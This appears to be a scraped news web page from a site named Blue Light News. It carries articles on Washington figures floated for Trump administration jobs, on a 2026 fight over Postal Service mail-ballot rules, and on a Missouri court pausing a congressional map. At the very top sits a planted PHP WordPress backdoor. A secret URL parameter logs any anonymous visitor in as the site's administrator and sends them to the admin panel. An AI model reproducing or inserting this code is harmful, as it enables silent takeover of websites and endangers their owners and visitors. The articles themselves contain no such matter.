// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); When being mentioned for a White House job is almost as good as getting the job itself – Blue Light News
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When being mentioned for a White House job is almost as good as getting the job itself

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2 years ago

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When Kevin McCarthy’s name circulated for months as a “dark horse candidate” to be Donald Trump’s chief of staff, the former House speaker didn’t embrace the possibility — but he didn’t deny his interest, either.

His noncommittal posture was part of a time-honored Washington tradition that’s gone into overdrive in the leadup to Trump’s second inauguration: People in the private sector who reap the benefits of being name-checked for high-level administration jobs, even if the idea they would be chosen for or accept a role amounts to little more than speculation.

In short: If the buzz doesn’t result in a new job, the appearance of proximity to power can result in new business. Getting mentioned for an administration job is almost as good as getting the job itself.

The phenomenon is a quintessential part of the launch of a new administration, though few if any are willing to admit it’s a tactic they themselves have employed. A new cast of characters is jockeying around town to be seen as close to the incoming White House so that they can collect hefty sums from those seeking to influence policy-making. McCarthy isn’t lobbying, but being floated for a powerful White House job can’t hurt his new paid-speeches gig.

Lobbyists and business consultants in particular are looking to sell any connection they can to the president’s inner circle. Jeff Forbes, a political operative who founded the lobbying firm Forbes Tate Partners, said the practice is a common P.R. strategy for those looking to grow their business downtown.

“This is one of the oldest games in Washington,” said the lobbyist. “Best-case scenario you’re picked, and worst-case scenario you end up looking pretty attractive to potential clients.”

There’s no better time than the present for people with legitimate knowledge of the Trump orbit. Ivan Adler, a recruiter dubbed the “Lobbyist Hunter,” said there was lots of hunger for people with connections to the incoming president. In fact, business was so good for K Street during Trump’s last administration that lobbyists close to him were able to set up successful and enduring shops in Washington. Among them were Brian Ballard and Jeff Miller, who have since become two of the biggest figures on K Street.

Another twist: If a lobbyist’s colleague is selected for a prominent post in the administration, that lobbyist’s stock also rises — an inside connection in the White House is an enormous asset to present to prospective clients. And so personnel decisions can have a big ripple effect on who’s up and who’s down on K Street.

“Everyone’s got a different approach to marketing, but that’s just what it is: marketing,” said one longtime Republican lobbyist granted anonymity to speak freely. “It’s a tale as old as time.”

Some names often seem to make the rounds in the lead-up to a Republican Inauguration Day. Among them is Wayne Berman, who leads Blackstone’s government affairs team and whose name was most recently raised for deputy Treasury secretary. Former Trump Interior Secretary David Bernhardt, who has been working as a policy adviser at the lobbying giant Brownstein Hyatt Farber Schreck, was floated as a sleeper candidate for chief of staff (even though Trump’s de facto campaign manager Susie Wiles was widely seen as the frontrunner), attorney general, or Interior secretary.

“Being perceived as being plugged in with a new in-crowd is good for business and social invitations,” said Bruce Mehlman, a Republican lobbyist who runs his own shop and emphasized this was not a tactic he used. “That’s just a truism that we know.”

The D.C. strategy of name-floating in the press has a long history. But it can be a risky play, especially in Trump’s orbit, where getting ahead of the president or putting one’s own ambitions before his is among the gravest sins.

President-elect Donald Trump is notoriously hostile to those who are believed to have leaked to the media.

Trump is notoriously hostile to those who are believed to have leaked to the media, and Trump allies expressed deep skepticism of those who tipped off the press to their own names. Although it is a powerful marketing strategy, it does not speak to their real influence, the Trump allies said.

“People use [the] transition to gin up their profile knowing full well that they have no opportunity to join this transition,” said one former campaign official. “I think people need to be skeptical when they read names.”

There are other benefits to getting one’s name in the press beyond an immediate payday. Invitations to exclusive parties can pick up, and bragging rights among colleagues can be secured. A group of Trump allies recently received a message about Rep. Thomas Massie’s (R-Ky.) name circulating for Agriculture Secretary and laughed at the suggestion, added the former campaign official, who was granted anonymity to speak freely. Massie had backed Florida Gov. Ron DeSantis in the Republican primary and was looking to rehabilitate his image, the person suggested. (A spokesperson for Massie did not return a request for comment.)

“People who float their names out are not in the mix,” said one former Trump administration staffer who’s now a lobbyist. Typically those people “aren’t as close to the center” as they would have others believe. “I think you’ll have a lot of those types in this administration.”

Even before the election, a person close to McCarthy suggested that the former Speaker was satisfied with his new post outside government, while his name was still circulating for various positions.

“I still think he’s pretty happy,” said the person close to McCarthy.

There could still be a payoff for McCarthy after trading his gavel to be a different kind of speaker. The former California congressman enlisted an agency to help him land speaking engagements. Among his clients: the American Hospital Association, the French bank BNP Paribas, and snack industry trade association SNAC International.

McCarthy has spent years working his way back into Trump’s good graces, following the fraying of their relationship after McCarthy publicly said that Trump was at least partly to blame for the riot at the Capitol on Jan. 6. And after the former speaker’s ouster, his juice in Washington had significantly dried up.

But more recently, McCarthy has repaired his bond with the incoming president. And having his name in the running for chief of staff has offered a renewed kind of relevancy.

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‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

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15 hours ago

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September 6, 2026

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‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

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Trump wants the Postal Service to radically overhaul mail voting. But ballots are already going out.

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2 days ago

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September 4, 2026

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President Donald Trump’s controversial demands for the Postal Service to overhaul and monitor millions of mail ballots hit another snag on Friday, when North Carolina became the first state in the nation to start sending out ballots for the November election.

In March, Trump signed the initial executive order, which aimed to crack down on mail-in voting — which he regularly alleges without evidence is a vector for widespread voter fraud — and assert an unprecedented amount of federal control over the upcoming elections.

Under this order and the subsequent rule drafted by the U.S. Postal Service, the USPS would refuse to deliver ballots to states that failed to provide lists of eligible mail voters or did not adhere to an approved envelope design style.

Since then, the order has faced legal challenges, and it remains paused by a federal judge’s orders. But the Trump administration has asked the Supreme Court to allow the new rule to proceed — something current and former election officials from both parties say would be both a legal nightmare that oversteps the federal government’s traditional role in elections and a logistical one that is happening far too close to the November election to implement even if they agreed with it.

“Why the hell are you rocking the boat this late in the game?” said Stephen Richer, a former Republican recorder of Maricopa County, Arizona, who has clashed with Trump allies for defending the security of the 2020 election.

Still, election officials are trying to project a sense of normalcy for voters, particularly in North Carolina, which serves as a test of whether established local election systems can operate normally amid intensifying federal scrutiny.

“I want to emphasize this point because there has been a lot of outside noise: Our county workers are ready,” Sam Hayes, a longtime Republican lawyer in the state and now executive director of the North Carolina State Board of Elections, said in a Thursday afternoon press conference.

He added, “All we can do is what we’re doing. … It is business as usual as far as I’m concerned.”

Despite the legal challenges, the Trump administration has continued to press the courts to let it proceed. The Trump administration asked the Supreme Court on Thursday to lift an order from a Massachusetts judge which temporarily prevents the USPS from enforcing their rule. It is the second time the Trump administration has asked the Supreme Court to step in, after winning an earlier victory in which the high court dismissed an earlier hold on the rule as premature.

“The uncertainty is coming from a single activist judge who continues to try and obstruct President Trump from implementing commonsense measures to protect the security of mail-in ballots and ensure only Americans vote in American elections,” White House spokesperson Lauren Bis said in a statement. “These safeguards for mail ballots were proposed months ago giving election officials ample time to prepare for the 2026 election.”

The USPS did not immediately respond to requests for comment.

Election officials said that if the rule goes into effect this close to November, it would cause chaos and place added strain on the USPS and election officials. And an anonymous federal whistleblower said in a report circulated earlier this week by Sen. Richard Blumenthal (D-Conn.) that the USPS was moving forward in a “secretive, rushed, chaotic, and fundamentally flawed process” to try to implement the new system ahead of the midterms.

In the coming weeks, states across the country will follow North Carolina’s lead. Nine other states will begin mailing ballots in the next two weeks, according to a tracker from the National Conference of State Legislatures — with the biggest day for mailing coming 45 days before the election in mid-September.

“It would be so outrageous to try to let this go into effect. It’s hard to even imagine,” said Ben Hovland, a senior fellow for democracy at the progressive think tank Center for American Progress and former Democratic commissioner with the Election Assistance Commission who was fired by Trump in July.

He added, “It would be a break-glass moment for our democracy.”

The rule would require meticulous changes to ballot handling and tracking practices that Hovland said are impossible to implement before Election Day in about two months, effectively disenfranchising millions of voters.

“Ballots are printed. Envelopes are printed. You can go on and on with all the practical reasons that show that implementing something like this at this time is not feasible,” he said.

Richer said he doubted the new rules would bring about more security. Even if the USPS received lists from the states, according to the postal service’s final rule, it would not do any additional vetting of the list, Richer said.

“It’s just that the mail ballots have to be on that list, and I don’t see what added value for election integrity that does,” he said.

He added, “It creates a lot of administrative burden, and I think it creates a lot more opportunity for error.”

While a decision looms in the courts, election officials and experts cast doubt on the likelihood of the rules going into effect before November. A more pressing issue, they said, is the confusion and uncertainty surrounding mail-in ballots, which could subvert and change the behaviors of voters.

“It makes things seem messy or difficult, and it can dissuade people from participating or coming out to vote,” Hovland said. “It certainly also helps establish a pretext to make bad faith claims about election results.”

Hovland said that while none of these claims of voter fraud are backed up with facts, they could cause Americans to lose faith in the voting process.

Still, some current officials contended they were well-prepared for whatever happens — and that they’d be able to communicate effectively with voters who have become increasingly buffeted by dramatic rhetoric about the once-unmentioned nuts and bolts of actually running an election.

“There’s always a lot of noise around elections, that’s not going to change, and it can be hard to differentiate that from what’s actually going on on the ground,” said Jason Tyson, director of external affairs for the North Carolina State Board of Elections.

As Election Day approaches, Tyson and election officials said they urge voters to check their registration status and make a plan to vote.

He added, “I think we’ve got a really well-trained, solid staff who are ready, and who have gone through all of the checks and balances and points of contact that we need to do to get to where we are.”

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Missouri Supreme Court pauses GOP gerrymander, likely netting Democrats 1 House seat

Published

3 days ago

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September 3, 2026

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Missouri’s Supreme Court suspended a congressional map that state Republicans drew last year that would have netted the GOP an additional House seat, likely keeping the seat in Democratic hands this November.

The court ruled unanimously on Thursday that a referendum petition organized by Democrats to put the new congressional maps to a vote was incorrectly deemed insufficient by Republican Secretary of State Denny Hoskins, and ordered that the gerrymandered map be put to a vote in the fall.

Voters will ultimately decide the fate of the new lines in November. But in the meantime, it cannot be in place for the midterms, meaning Rep. Emanuel Cleaver’s original Kansas City-based district will likely stay in Democrats’ hands this fall.

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